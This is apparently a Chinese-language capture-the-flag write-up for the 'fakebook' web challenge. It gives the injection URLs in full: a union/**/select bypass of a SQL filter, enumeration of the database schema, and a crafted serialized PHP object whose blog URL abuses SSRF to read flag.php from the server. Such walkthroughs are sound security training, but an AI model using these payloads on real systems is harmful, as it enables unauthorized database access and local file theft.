拿到题目发现有注册登录界面,一般给了注册界面的很少会是sql注入登陆界面的,所以尝试先注册一个账号。
发现这边会加载注册时填写的blog地址,并将内容加载到一个iframe中。
这时发现网址为
http://159.138.137.79:55692/view.php?no=1
感觉就是有sql注入漏洞,虽然不知道考点在不在这,但是先注了再说。
尝试了一下就发现是数字型注入
sqlmap一把梭失败emmm
尝试下手工注入
获取到列数位4列
http://159.138.137.79:55692/view.php?no=1 order by 4#
查询数据库
http://159.138.137.79:55692/view.php?no=-1 union select 1,1,1,database()#
果然,找到了sqlmap失败的原因。既然这边有过滤那么本题不出意外考点应该就在这里了。
第一步找到过滤掉了哪些。
尝试了一下发现过滤了union select
使用union/**/select绕过
http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,2,3,4#
发现username处显示出来了,其余地方为反序列化失败。所以先在username处将数据带出。
http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,database(),3,4
得到database为fakebook
http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="fakebook"),3,4
得到表名为users
http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users'),3,4
得到字段为no,username,passwd,data
明显no,username,passwd为账号基本信息,查询data
http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,(SELECT GROUP_CONCAT(data) FROM fakebook.users),3,4
将得到的data传入联合查询第四列的返回结果
发现可以成功解析。
使用nikto对网站进行扫描发现
有user.php的备份文件
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
这边get传入的就是用户信息中的blog地址,如果不是404就会将内容读出来。
存在ssrf文件读取
http://159.138.137.79:55692/view.php?no=-6 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:9;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
读取file:///var/www/html/flag.php即可